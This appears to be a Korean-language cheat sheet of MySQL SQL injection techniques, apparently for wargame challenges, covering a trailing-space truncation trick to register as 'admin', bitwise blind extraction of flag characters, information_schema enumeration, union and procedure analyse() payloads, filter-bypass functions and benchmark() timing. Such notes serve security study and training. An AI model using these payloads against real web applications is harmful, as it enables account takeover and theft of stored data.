https://sqlwiki.netspi.com/injectionTypes/errorBased/#postgresql
db에 admin
과 admin공백~~~
이 존재할 때,
select * from myTable where id = 'admin'`
의 결과로 admin
과 admin공백~~~
모두 출력된다.
가입기능이 있는 웹페이지에서 admin공백~~~~'a'
으로 가입한 뒤
admin
으로 로그인을 시도하되, 내가 가입했던 패스워드 값을 입력한다.
마지막에 'a'
를 추가하는 이유는
단순히 공백으로만 끝낼 경우, 서버에서 trim
함수를 사용하여 뒷부분 공백이 제거되기 때문에 'a'
문자를 삽입하여 공백이 제거되지 않도록 만든다.
길이제한으로 'a'
문자는 삭제가 되고 의도한 값인 admin공백~~~~~
이 최종적으로 insert
문에 삽입된다.
#mysql
select '5' = 5 /* returns 1 */
select '6' = 5 /* returns 0 */
효과적으로 플래그 값을 알아내는 방법이다.
대상 문자를 이진수로 변환한 뒤, 각 자리수 값을 비교하여 값을 판별한다.
select substr(lpad(bin(ascii(substr('flag',1,1))),7,0),1,1)=0
'f'
를 이진수로 변환한 뒤 첫 번째 자리수 값이 0인지 비교한다.'f'
의 이진수 값을 알아낼 수 있다. insert into myTable values((select flag from chall30.chall30_answer limit 1), 129);
단, 다른 테이블을 지정해야함
select table_name from information_schema.tables where table_schema = database() limit 1, 1
현재 database에 생성된 테이블 목록 가져오기
select column_name from information_schema.columns where table_name='테이블명' limit 0,1
mysql> select * from information_schema.processlist;
+----+------+-----------+------+---------+------+-----------+----------------------------------------------+
| ID | USER | HOST | DB | COMMAND | TIME | STATE | INFO |
+----+------+-----------+------+---------+------+-----------+----------------------------------------------+
| 4 | root | localhost | myDb | Query | 0 | executing | select * from information_schema.processlist |
+----+------+-----------+------+---------+------+-----------+----------------------------------------------+
1 row in set (0.00 sec)
mysql>
현재 조회하는 테이블의 정보를 반환
MariaDB [myDb]> select * from myTable where no=1 procedure analyse();
+-----------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+------------------------+
| Field_name | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std | Optimal_fieldtype |
+-----------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+------------------------+
| myDb.myTable.id | admin | admin | 5 | 5 | 0 | 0 | 5.0000 | NULL | ENUM('admin') NOT NULL |
| myDb.myTable.no | 1 | 1 | 1 | 1 | 0 | 0 | 1.0000 | 0.0000 | ENUM('1') NOT NULL |
+-----------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+------------------------+
2 rows in set (0.000 sec)
테이블 이름을 알 수 있음
union(select(1))
단, select 인자를 하나만 전달해야 한다.
mysql> select id from myTable union(select(1,1));
ERROR 1241 (21000): Operand should contain 1 column(s)
mysql> select id from myTable union(select(1));
+-------+
| id |
+-------+
| admin |
| guest |
| test |
| ttl |
| 1 |
+-------+
5 rows in set (0.00 sec)
insert into myTable (id, pw) values('123', id);
id
에 '123'
값이 저장되고
pw
에 id
값인 '123'
이 저장된다.
아무 진법의 수를 원하는 진법의 수로 변환한다.
conv('a', 16, 2)
이 때 'a'
는 16진수인 61로 반환된다.
이 값을 2번째 인자값인 16진수
로 인식하여
3번째 인자값인 2진수
로 변환한다.
ord가 막혀있을 때 유용하다.
질의시 출력되는 속성명과 값을 설정할 수 있다.
mysql> select 'admin' as id from myTable;
+-------+
| id |
+-------+
| admin |
| admin |
| admin |
| admin |
+-------+
4 rows in set (0.00 sec)
원래 출력될 4개의 레코드 값이 {id:admin}
으로 변경되어 출력되었다.
#mysql
id like 'admin'
id in 'admin'
instr(id, 'admin')
concat('gu', 'est') /* Returns 'guest' */
reverse('tseug') /* Returns 'guest' */
mid('admin', 2) /* Returns 'dmin' */
benchmark(1000000, md5('1'))
right(left(컬럼명, 1), 1)